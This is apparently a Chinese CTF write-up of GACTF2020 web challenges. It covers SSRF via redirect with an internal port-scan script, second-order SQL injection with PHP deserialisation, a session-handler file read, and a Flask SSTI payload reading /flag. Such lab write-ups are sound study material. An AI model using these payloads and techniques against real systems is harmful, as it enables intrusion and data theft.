[GACTF2020]web
EZFLASK
打开题目给一份残缺的源码
# -*- coding: utf-8 -*-
from flask import Flask, request
import requests
from waf import *
import time
app = Flask(__name__)
@app.route('/ctfhint')
def ctf():
hint =xxxx # hints
trick = xxxx # trick
return trick
@app.route('/')
def index():
# app.txt
@app.route('/eval', methods=["POST"])
def my_eval():
# post eval
@app.route(xxxxxx, methods=["POST"]) # Secret
def admin():
# admin requests
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8080)
ctfhint是图样图森破。。。。欺负人
admin的路由不知道,eval简单测试之后至尊过滤,' " () {} [] |
全部过滤,然后也把稍微可能危险的关键字也全部过滤了,os re sy config app
什么的各种各样的全没了,看得我头痛
发现admin路由
至尊过滤的结果就是根本没法ssti,基本上啥也做不了,全靠无敌的老国王用__globals__发现了admin路由
post一个eval=admin.__globals__,(看到了一个admin路由后来getshell之后看源码,发现是把这个值在waf.py里面定义了一个全局变量),值为h4rdt0f1nd_9792uagcaca00qjaf,访问admin路由,是一个ssrf,使用http协议
提交ip port path三个参数,发起一次访问
ssrf
使用的是http协议,写死了之后就没法用file协议之类的去读取本地文件了,想直接扫描一下内网,发现192 127 172 10.0这几个字段都被ban了,内网也扫不动
后来师傅们又说python的requests库在发起访问的时候会__跟踪重定向__,所以在服务器上放一个重定向进行内网探测
<?php header("Location:http://127.0.0.1:5000/");
需要写一个脚本扫,一开始没想到把脚本放服务器上。。。想了半天怎么扫内网
import requests
import time
url = "http://124.70.206.91:10000/h4rdt0f1nd_9792uagcaca00qjaf"
for i in range(1024, 10000):
# time.sleep(0.01)
with open("/var/www/html/index.php", 'w') as f:
f.write("<?php header('Location:http://127.0.0.1:{0}/');".format(i))
f.close()
data = {"ip": "xxxxxxx", "port": "80", "path": "index.php"}
res = requests.post(url=url, data=data)
if "requests error" not in res.text:
print("[+]:" + str(i))
print(res.text)
最后在5000端口发现另一个flask服务,给了源码还是个啥过滤都没有的ssti
说明了flag在config[“FLAG”],直接就可以了,啥过滤也没有还可以继续试着读读文件执行执行命令,就顺带看了一眼题目源码
其实ssti用的这些魔术方法还不是很熟练,还有就是一些flask内置的比如url_for,config,joiner什么的都不熟悉,需要另找时间学习一下
carefuleyes
给了源码的二次注入
在common.php对于输入的数据全局进行了转义
common.php
<?php
.....
$req = array();
foreach (array($_GET, $_POST, $_COOKIE) as $global_var) {
foreach ($global_var as $key => $value) {
is_string($value) && $req[$key] = addslashes($value);
}
}
define("UPLOAD_DIR", "upload/");
function redirect($location) {
header("Location: {$location}");
exit;
}
class XCTFGG{
private $method;
private $args;
public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function login() {
list($username, $password) = func_get_args();
echo $username = strtolower(trim(($username)));
echo $password = strtolower(trim(($password)));
$sql = sprintf("SELECT * FROM user WHERE username='%s' AND password='%s'", $username, $password);
global $db;
$obj = $db->query($sql);
$obj = $obj->fetch_assoc();
global $FLAG;
if ( $obj != false && $obj['privilege'] == 'admin' ) {
die($FLAG);
} else {
die("Admin only!");
}
}
function __destruct() {
@call_user_func_array(array($this, $this->method), $this->args);
}
}
?>
上了一个对提交的数据的全局转义,定义了一个类,析构函数调用自己类的一个方法,login需要登一个admin用户获取flag,那么思路就应该很清晰的是注入获取admin账号密码,或者注入给自己加一个admin账号,通过反序列化调用这个login函数获取flag
upload.php
<?php
require_once "common.php";
if ($_FILES) {
$file = $_FILES["upfile"];
if ($file["error"] == UPLOAD_ERR_OK) {
$name = basename($file["name"]);
$path_parts = pathinfo($name);
if (!in_array($path_parts["extension"], array("gif", "jpg", "png", "zip", "txt"))) {
exit("error extension");
}
$path_parts["extension"] = "." . $path_parts["extension"];
$name = $path_parts["filename"] . $path_parts["extension"];
$path_parts['filename'] = addslashes($path_parts['filename']);
$sql = "select * from `file` where `filename`='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";
$fetch = $db->query($sql);
if ($fetch->num_rows > 0) {
exit("file is exists");
}
if (move_uploaded_file($file["tmp_name"], UPLOAD_DIR . $name)) {
$sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";
$re = $db->query($sql);
if (!$re) {
print_r($db->error);
exit;
}
$url = "/" . UPLOAD_DIR . $name;
echo "upload successfully!";
} else {
exit("upload error");
}
} else {
exit;
}
if(isset($_GET["data"])) {
unserialize($_GET["data"]);
}
}
限制了后缀,文件名不能跨目录,吃了一次全局转义,所以这个文件里肯定不能发生注入,还接受一个data并进行反序列化
rename.php
<?php
require_once "common.php";
if (isset($req['oldname']) && isset($req['newname'])) {
$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");
if ($result->num_rows > 0) {
$result = $result->fetch_assoc();
$info = $db->query("select * from `file` where `filename`='{$result['filename']}'");
$info = $info->fetch_assoc();
echo "oldfilename : ".$info['filename']." will be changed.";
} else {
exit("old file doesn't exists!");
}
if ($result) {
$req['newname'] = basename($req['newname']);
$result['filename'] = addslashes($result['filename']);
$re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");
if (!$re) {
print_r($db->error);
exit;
}
$oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];
$newname = UPLOAD_DIR . $req["newname"] . $result["extension"];
if (file_exists($oldname)) {
rename($oldname, $newname);
}
$url = "/" . $newname;
echo "Your file is rename, url:
<a href=\"{$url}\" target='_blank'>{$url}</a><br/>
<a href=\"/\">go back</a>";
}
}
?>
<!DOCTYPE html>
....
根据常规做题方法,二次注入的点应该在那个update那里,因为被转义的数据出库了,但是这里加了一个addslashes,而fid不可控,提交的newname吃了一个全局转移
但是这里有很奇怪的一步,他先用我们提交的oldname查询了一次,然后又用查询的结果作为文件名再查询一次,而第二次查询出来的结果就是一个没有被转义的注入语句,直接用union联合注入,这样子选出来的数据仍然是$info[‘filename’],在un.sql文件中已经直接获取了数据库的结构,直接查询就可以获得admin用户名和密码,再upload.php触发反序列化即可
(大概是最简单的一个题?我还在看代码的时候师傅就拿了二血了)
反序列化要上传文件的同时才能触发(有点无意义但是我被坑了一下下)
babyshop
点开是一个shop,给了钱,可以买一堆乱七八糟的东西,反正就是买flag的钱不够,有一个note功能可以添加一个签名,没有xss会被转义,一开始想的是获取源码之后可能有一个session反序列化,用note整出一个畸形session文件把钱改到99999之类的。
首先是.git源码泄漏,不知道为什么dirsearch坏了,还是手试试出来的,然后上githack,也坏了不能用,让另一个师傅帮忙下下来的。。。。
众多文件均没什么用,唯独一个init.php看得人头痛
全中文变量名加不明所以命名法加去除所有缩进的代码堆。第一眼就让人心态爆炸
先上网上找个在线工具把缩进加上来。。。但是还是看不懂,有各种各样的奇怪东西
可以先用var_dump(get_defined_vars())看看有什么东西
发现定义的几个global变量的值都是一些函数名
'寻根' =>
string(6) "strpos"
'奇语切片' =>
string(9) "str_split"
'出窍' =>
string(9) "array_pop"
'遮天之术' =>
string(13) "base64_decode"
'虚空之数' =>
int(0)
'实打实在' =>
bool(true)
'虚无缥缈' =>
bool(false)
发现这些函数名变量的使用都是动态调用,先全替换掉再说
造化之神类为加密类,定义了一万个乱七八糟的变量,融合函数就计算出了这些奇怪的变量的值,点灯和造化两个函数都是解密函数,可以把加密过的奇怪中文解码成正常一点的东西
这些傻逼玩意还是都先同一解码出来的好,写个小脚本完成
.....
init.php的内容
$file = file_get_contents("init.php");
preg_match_all("/造化\([^\$].*?\)/", $file, $match);
var_dump($match);
foreach($match[0] as $m) {
$tmp = '111';
eval('$tmp='."$m".";");
$file = str_replace($m,$tmp,$file);
}
file_put_contents("result.php", $file);
把憨批造化全部替换成正常一点的东西,双手造物就是一个动态调用。测获赋这三个倒是很好理解,就是isset,get,set
还顺便把变量名改成了英文的。。。。全中文代码看起来就是怪怪的
第二个类造轮子,倒是很容易从名字上理解,重写的一个session的行为类,通过改造完的代码,看见了session_set_save_handler,然后把轮子类的一堆方法作为回调函数传了进去
顺便按照回调函数的名字把函数名字改了,整理完的代码看起来舒服多了
<?php
function is_set($内, $容)
{
global ${$内};
return isset(${$内}[$容]);
}
function get($内, $容)
{
global ${$内};
return @${$内}[$容];
}
function set($内, $容, $值)
{
global ${$内};
${$内}[$容] = $值;
}
class CreateWheel
{
protected $storage;
protected $path;
protected $save_path;
protected $forbiden;
public function __construct()
{
$this->dir = "storage";
if (!is_dir($this->dir)) {
mkdir($this->dir);
}
$this->forbiden = array("php", "html", "htaccess");
}
public function open($savePath, $sessionName)
{
foreach ($this->forbiden as $element) {
if (stripos(get("_COOKIE", $sessionName), $element) !== false) {
die("invaild " . $sessionName);
}
}
$this->save_path = session_id();
return true;
}
public function close($path, $sess_value)
{
$this->path = $path;
return file_put_contents($this->dir . "/sess_" . $path, $sess_value) === false ? false : true;
}
public function read($sessionID)
{
$this->path = $sessionID;
return (string) @file_get_contents($this->dir . "/sess_" . $sessionID);
}
public function write($sessionID)
{
if (strlen($this->save_path) <= 0) {
return false;
}
return file_put_contents($this->dir . "/note_" . $this->save_path, $sessionID) === false ? false : true;
}
public function destroy()
{
return (string) @file_get_contents($this->dir . "/note_". $this->path);
}
public function 思考($path)
{
$this->path = $path;
if (file_exists($this->dir . "/sess_" . $path)) {
unlink($this->dir . "/sess_" . $path);
}
return true;
}
public function 反省($path)
{
foreach (glob($this->dir . '/*') as $element) {
if (filemtime($element) + $path < time() && file_exists($element)) {
unlink($element);
}
}
return true;
}
public function gc()
{
return true;
}
public function __destruct()
{
$this->write($this->destroy());
}
}
$wheel = new CreateWheel();
session_set_save_handler(array($wheel, 'open'), array($wheel, 'close'), array($wheel, 'read'), array($wheel, 'write'), array($wheel, 'destroy'), array($wheel, 'gc'));
session_start();
srand(mktime(0, 0, 0, 0, 0, 0));
function 化缘()
{
return get("_SESSION", "balance");
}
function 取经()
{
global $盛世;
$list = "[";
foreach (get("_SESSION", "items") as $element)
{
$list .= $盛世[$element][0] . ', ' ;
}
$list .= "]";
return $list;
}
function 念经()
{
global $wheel;
return $wheel->destroy();
}
function 造世()
{
global $盛世;
$宝藏 = '';
foreach ($盛世 as $按键 => $元素) {
$宝藏 .= '<div class="item"><form method="POST"><div class="form-group"> . $元素[0] . </div><div class="form-group"><input type="hidden" name="id" value=" . $按键 . "><button type="submit" class="btn btn-success">buy ($ . $元素[1] . )</button></div></form></div>';
}
return $宝藏;
}
翻了翻这几个函数的原型, read和write都接受的是session的值,完全可控,结果就是read和destroy是任意文件读取,而使用session的时候经过read函数,将$this->path赋值为我们可控的路径,调用念经函数,return $wheel->destroy();,destroy的path已经被赋值为路径,读取出flag
XWiki
用的XWiki框架,一开始看是个Java题就放弃了,结果有现成的payload直接打,后来师傅们出了我也没看后面怎么获取flag
https://jira.xwiki.org/browse/XWIKI-16960
SimpleFlask
没看的题,得到的知识点是ssti在拼接字符串的时候不需要加号也能把字符串拼起来,好像是过滤了getattr,空格加号之类的,就防止RCE,但是字符串拼接不需要加号也行(不是很懂
payloadjoiner.__init__.__globals__["__builtins__"]["open"]("/fl""ag").read()